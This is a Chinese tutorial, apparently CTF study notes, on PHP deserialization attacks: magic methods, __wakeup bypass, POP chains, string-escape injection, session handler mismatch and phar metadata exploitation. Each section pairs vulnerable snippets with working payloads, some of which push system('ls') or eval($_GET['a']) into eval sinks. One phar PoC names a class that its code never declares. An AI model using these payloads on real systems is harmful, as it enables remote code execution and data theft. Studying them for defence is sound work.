PHP反序列化

php面向对象基础知识

类:定义类名、定义成员变量(属性)、定义成员函数(方法)

1
2
3
4
5
6
7
8
9
10
class Class_Name {
//成员属性声明
//成员方法声明
}
//举个栗子
class hacker{
var $name;
var $sex;
function
}

序列化基础知识

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct() // 类的构建函数
__destruct() // 类的析构函数
__call() // 在对象中调用一个不可以访问方法时调用
__callStatic()// 用静态方法中调用一个不可访问方法时调用
__get() // 获得一个类的成员变量时调用
__isset() // 当对不可访问属性调用isset()或empty()时调用
__set() // 设置一个类的成员变量时调用
__unset() // 当对不可访问属性调用unset()时被调用
__sleep() // 执行serialize()时,先会调用这个函数
__wakeup() // 执行unserialize()时,先会调用这个函数
__toString() // 类被当成字符串时的回应方法
__invoke() // 调用函数的方式调用一个对象时的回应方法
__set_state() // 调用var_export()导出类时,此静态方法被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类
__debuginfo() // 打印所需调试信息

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class User {
public $username;
// 功能:提前清理不必要内容
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); // 触发时机:实例化对象
$ser = serialize($test);
unserialize($ser);

?>

__destruct()

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的模式方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser); // 触发时机对象引用完成或对象被销毁,在反序列化过程中会触发
// 代码运行结束时会销毁对象也会触发一次

?>

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作。

1
2
3
4
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被序列化存储的成员属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
// O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser)); // 触发时机:unserialize()之前
?>

__wakeup()方法绕过

如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){ // 在反序列化后触发
include_once($this->file);
echo $flag;
}

function __wakeup(){ // __wakeup()在反序列化之前触发,会把file值改为'index.php'
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){ // O:后面不能出现数字
echo "Are you daydreaming?";
}
else{
unserialize($cmd); // 目标:反序列化后,调用__destruct(),把file定义成flag.php输出
}
}
//sercet in flag.php
?>

构造

1
2
3
4
5
6
7
8
9
<?php
class secret{
var $file='flag.php';

}
$a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo urlencode($a);
?>
// ?cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

__toString()

表达方式错误导致魔术方法触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test); // 触发时机:把对象当成字符串调用
echo "<br />";
echo $test;
?>

常用于构造POP链

__invoke()

格式表达错误导致模式方法触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
function hh(){
echo "对,这是一个函数";
}
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; // 触发时机:把对象当成函数调用

?>

错误调用相关魔术方法

__call()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2) // 2个参数传参$arg1(调用的这个不存在的方法),$arg2(该方法传递的参数)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a'); // 触发时机:调用一个不存在的方法
?>

__callStatic()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2) // 2个传参$arg1,$arg2
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); // 触发时机:静态调用或调用成员常量时使用的方法不存在
?>

__get()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1) // 把不存在的属性名称var2赋值给$arg1
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; // 触发时机:调用的成员属性var2不存在
?>

__set()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2) // 传参$arg1,$arg2
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1; // 触发时机:给不存在的成员属性赋值
?>

__isset()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1) // 传参$arg1
{
echo $arg1; // 返回值不存在的成员属性的名称
}
}
$test = new User() ;
isset($test->var); // 触发时机:对不可访问的属性使用isset()或empty()时,__isset()会被调用
// isset()调用的成员属性var不可访问或不存在
?>

__unset()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1) // 传参$arg1
{
echo $arg1; // 返回值不存在的成员属性的名称
}
}
$test = new User() ;
unset($test->var); // 触发时机:对不可访问或不存在属性使用unset()
?>

__clone()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test) // 触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
?>

POP链的构造思路知识

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){ // 反序列化unserialize()触发魔术方法__destruct()
$this->test->action(); // __destruct()从$test调用action()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2; // eval()调用$test2
public function action(){
eval($this->test2); // 可利用漏洞点存在函数eval()
}
}
unserialize($_GET['test']);
?>

关联点:如何让$test调用eval里的成员方法action()

解决思路:$test赋值为对象test = new evil()

构造序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil(); // 关键步骤:给$test赋值实例化对象 test=new evil()
}
//public function __destruct(){
// $this->test->action();
//}
}
//class normal {
// public function action(){
// echo "please attack me";
// }
//}
class evil {
var $test2="system('ls')";
//public function action(){
// eval($this->test2);
//}
}
$a = new index(); // 此时$a为实例化对象index(),其中成员属性$test=new evil(),$test为实例化对象evil(),成员属性$test2="system('ls')"
echo serialize($a);
?>

魔术方法触发规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$a = 'O:3:"sec":1:{s:6:"benben";N;}'; // 反序列化的内容$a所调用的类sec()里不包含__wakeup()所以不会触发__wakeup()
unserialize($a); // echo 把反序列化生成的对象当成字符串输出触发所在类内的__tostring()魔术方法
$b='O:4:"fast":1:{s:6:"source";N;}' // 反序列化触发$b所调用的类fast()里包含的__wakeup
unserialize($b);
?>

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class fast {
public $source; // -4.$source = object sec
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source; // -3.z在echo中的source包含实例化的对象
}
}
class sec { // -2.把sec()实例化成对象后当成字符串输出
var $benben;
public function __tostring(){ // -1.需要触发__tostring()
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>

构造触发__wakeup__tostring的序列

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class fast {
public $source;
}
class sec {
var $benben;
}
$a = new sec();
$b = new fast();

$b -> source = $a;
echo serialize($b);
?>

POP链构造编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
//flag is in flag.php
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag; // -1目标:触发echo,输出$flag
}
public function __invoke(){ // -2.触发invoke,调用append,并使$var=flag;触发条件:把对象当成函数
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){ // -4.触发toString;触发条件:把对象当成字符串
return $this->str->source; // 给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get
}
public function __wakeup(){ // -5.触发wakeup(反序列化unserialize)
echo $this->source; // 给$source赋值为对象Show,当成字符串被echo调用,触发toString
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ // -3.触发get(),触发条件:调用不存在的成员属性
$function = $this->p; // 给$p赋值为对象,即function成为对象Modifir,却被当成函数调用,触发Modifier中的invoke()
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
} ?>

利用POP链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//flag is in flag.php
class Modifier {
private $var='flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
$mod = new Modifier();
$test = new Test();
$test -> p=$mod;
$show = new Show();
$show -> source = $show;
$show -> str = $test;
echo serialize($show)
?>

反序列化逃逸

基础

反序列化分隔符

在前面字符没有问题的情况下(成员属性数量一致;成员属性名称长度一致,内容长度一致),反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

字符串减少

反序列化字符串减少逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";N;}";}';

}
$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
/*
object(A)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:24:"1234567"
["v2"]=>
string(24) "1234567";s:2:"v3";N;}";}"
["v3"]=>
NULL
}
*/

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name); // 字符串过滤后减少,判断吃掉的内容,并计算长度
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ; // 构造出关键成员属性序列化字符串 $vip=true
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param)); // 对$param值'user'进行安全性检查 把"flag","php"替换成"hk" 然后再进行反序列化

if ($profile->vip){ // 最终目的:判断vip值为真
echo file_get_contents("flag.php");
}
?>

字符串增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符增多,突出多余代码,把多余位代码构造成逃逸的成员属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);

var_dump(unserialize($data));

构造?v1=lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}成功逃逸

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

function filter($name){ // 对$param值进行安全性检查,filter把"flag","php"替换成"hack",然后反序列化
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param']; // 赋值给$param 并在实例化test里作为一个参数,实例化触发__construct赋值给$user
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){ // 最终目的使pass='escaping'
echo file_get_contents("flag.php");
}

构造?phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

引用

直接上例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass); // $pass获取值pass后,str_replace把*替换掉
}

$o = unserialize($pass); // $o为反序列化$pass后的对象,且赋值secret="*"
// 构造字符串,让$enter的值引用$secret的值
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter) // 最终目的:使$o->secret与$o->enter一致
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

构造poc

1
2
3
4
5
6
7
8
9
10
<?php
class just4fun {
var $enter;
var $secret;
}

$a = new just4fun();
$a -> enter = &$a->secret; // 使enter和secret的内存地址永远一样,就是同一块内存被两个不同名字的指针指向
echo serialize($a);
?>

session反序列化漏洞

session_start()被调用或者php.inisession.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)

存取数据的格式有多种,常用的有三种

漏洞产生:写入格式和读取格式不一致

处理器对应的存储格式
php键名 + `` + 经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4)经过serialize()函数序列化处理的数组
php_binary键名的长度对应的ASCLL字符+键名+经过serialize()函数反序列处理的值

php格式

默认情况下用php格数存储

1
2
3
4
<?php
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

?ben=haihaihai —> benben|s:9:"haihaihai"

php_serialize格式

声明session存储格式为php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=haihaihai&b=666 —> a:2:{s:6:"benben";s:9:"haihaihai";s:1:"b";s:3:"666";}

php_binary格式

声明session存储格式为php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=haihaihai&b=666 —> 06 benbens:9:"haihaihai"; 01 bs:3:"666";

举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 存储代码
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
// 漏洞代码
<?php
ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

构造poc

1
2
3
4
5
6
<?php
class D{
var $a="system('ls');";
}
echo serialize(new D());
?>

但是因为存储我们传入的a是用的是php_serialize而读取这个的时候是用php格式,所以我们要构造在上面的poc输出前加一个|,这样我们在复去的时候会认为|前的是键名,后面才是经过serialize()序列化处理的值。也就是构造?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*hint.php*/ // 提示有一个hint.php
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){ // 让name和her相等
include('flag.php');
echo $flag;
}
}
}
?>
// 下面是hint.php里的内容
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

构造序列化poc

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a -> name = &$a -> her;
echo serialize($a);
?>

和之前那个例子一样,也是用php_serialize进行存储,然后用php格式进行读取,只要在poc输出的这个序列前加上一个|传给GET /hint.php的变量a,也就是?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}就可以了,这时候再去访问原页面就可以拿到flag了

phar反序列化

原理

phar(“php ARchive“)是类似于jar的一种打包文件,jar是开发Java程序的一个应用,包括所有的可执行可访问的文件,都打包进了一个jar文件里,使得部署过程十分简单。

对于PHP 5.3或更高版本,phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取.phar文件。

结构

stub phar文件标识,格式为xxx<?php xxx; ___HALT_COMPiLER();?>(头部信息)

manifest压缩文件的实行等信息,以系列化存储

contents压缩文件的内容

signature签名,放在文件末尾

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

Phar需要PHP >= 5.2php.ini中将phar.readonly设为Off(注意去掉前面的分号)

受影响的函数
fileatimefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableparse_ini_filecopy
unlinkstatreadfile….

举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 漏洞源码
<?php
class Testobj
{
var $output="echo 'ok';";
function __destruct() // __destructoutput(echo 'ok';)值调用并输出
{
eval($this->output); // 触发__destruct执行eval()反序列化后output='eval($_GET["a"])',a的值变得可控
}
}
if(isset($_GET['filename'])) // Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
{
$filename=$_GET['filename']; // 提交文件名filename,file_exists读取文件,检查文件是否存在
var_dump(file_exists($filename));
}
?>
// phar创建源码
<?php
class Testobj
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

在漏洞源码页面构造?filename=phar://test.phar&a=system("ls");利用成功

使用条件

  • phar文件能上传到服务器端
  • 要有可用反序列化魔术方法作为跳板
  • 要有文件操作函数,如file_exists() fopen() file_get_contents()
  • 文件操作参数可控,且: / phar 等特殊字符没有被过滤

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() { // 反序列化TestObject()触发__destruct执行echo $flag
include('flag.php');
echo $flag; // 目标:echo$flag
}
}
$filename = $_POST['file']; // $_POST['file']提交file赋值$filename
if (isset($filename)){ // isset判断$filename内容
echo md5_file($filename); // 文件操作函数参数可控,生成md5哈希值
}
//upload.php
?>

访问/upload.php是个文件上传页面

phar反序列化.png

poc => 生成.phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}

@unlink('poc.phar'); //删除之前的poc.par文件(如果有)
$phar=new Phar('poc.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

但是无法上传.phar文件,那么试试给后缀改成.jpg上传,上传成功

phar_poc.png

然后访问原页面,在请求体添加file=phar://upload/poc.jpg,拿到flag